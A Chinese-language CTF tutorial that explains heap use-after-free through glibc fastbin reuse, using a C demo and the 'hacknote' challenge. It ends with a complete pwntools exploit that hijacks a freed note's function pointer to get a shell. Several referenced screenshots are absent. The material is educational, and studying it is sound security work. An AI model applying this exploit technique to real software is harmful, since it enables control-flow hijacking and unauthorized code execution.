堆、UAF之PWN從實驗到原理
開局一段代碼:
#include void func1(){ printf("func1");} void hack(){ printf("hack");} struct Pfunc{ void (*p)();}; int main(){ struct Pfunc* lpfunc = malloc(8); lpfunc->p = func1; lpfunc->p(); free(lpfunc); long* hack_point = malloc(8); *hack_point = hack; lpfunc->p(); return 0;}
編譯32位:gcc -g -m32 test.c
猜一猜程序會怎么執行?

為啥會這樣呢?
glibc的ptmalloc在管理釋放的內存叫bin,申請的堆塊叫chunk
其中小chunk內存管理器叫fastbins,使用的是 LIFO的規則,后進先出。所以申請同樣大小的小chunk,會使用最后一次free的chunk
執行完free過后,fastbins中存放了剛剛free的指針0x804b000。

執行malloc(8)后,看到fastbins中的chunk指針沒有了。

看下hack_point的地址,確實是剛剛free的地址,此時兩個指針指向同一塊內存。

為啥這兩個指針=0x0804b008,而fastbins存的0x0804b000
在32位下chunk的結構:
struct chunk{ size_t 暫時不管; size_t size;//低3位不算長度 char user_data[0];}
剛好偏移是8。
ok,搞清楚原理了,來一道題:hacknote.程序提供了記事本功能。

其中add_note函數在notelist中找一個空位置用來寫日記,但是刪除日記del_note函數中卻沒有把指針置空。print_note函數可以使用已經free的指針,存在UAF漏洞。



現在的目標就是,把notelist[x]->pFunc= magic,然后使用已經free的notelist[x]。

具體操作如下:
1、因為noteNode的大小為8,如果想準確控制第二個noteNode的pFunc,那么noteNode->note的大小不能是8。創建兩個24字節的note后內存長這樣:

對照:

2、依次free note[0],note[1],試fastbins變成這樣:

0x804b030是note[1]的chunk,0x804b000是note[0]的chunk
也就是之后malloc(8)的時候,第一次會得到0x804b030,第二次會得到0x804b000。
3、創建note[2],使note的大小=8,此時note的地址是0x804b008,仔細看看這個地址,就是note[0]的pFunc。把magic的地址寫入,
這時候note[0]->pFunc的值就是magic了。


4、執行print_note(0) 執行0號note的pFunc函數,getshell。
exp:
from pwn import * context.log_level = 'debug' sh = process("./hacknote")# sh = gdb.debug("./hacknote", "b *add_notec")elf = ELF("./hacknote") def add_note(size, note=b"123"): sh.sendlineafter(b"Your choice :", b"1") sh.sendlineafter(b"Note size :", str(size).encode()) sh.sendlineafter(b"Content :", note) def del_note(index): sh.sendlineafter(b"Your choice :", b"2") sh.sendlineafter(b"Index :", str(index).encode()) def print_note(index): sh.sendlineafter(b"Your choice :", b"3") sh.sendlineafter(b"Index :", str(index).encode()) add_note(24)add_note(24) del_note(0)del_note(1) add_note(8, p32(elf.sym["magic"]))print_note(0) sh.interactive()pause()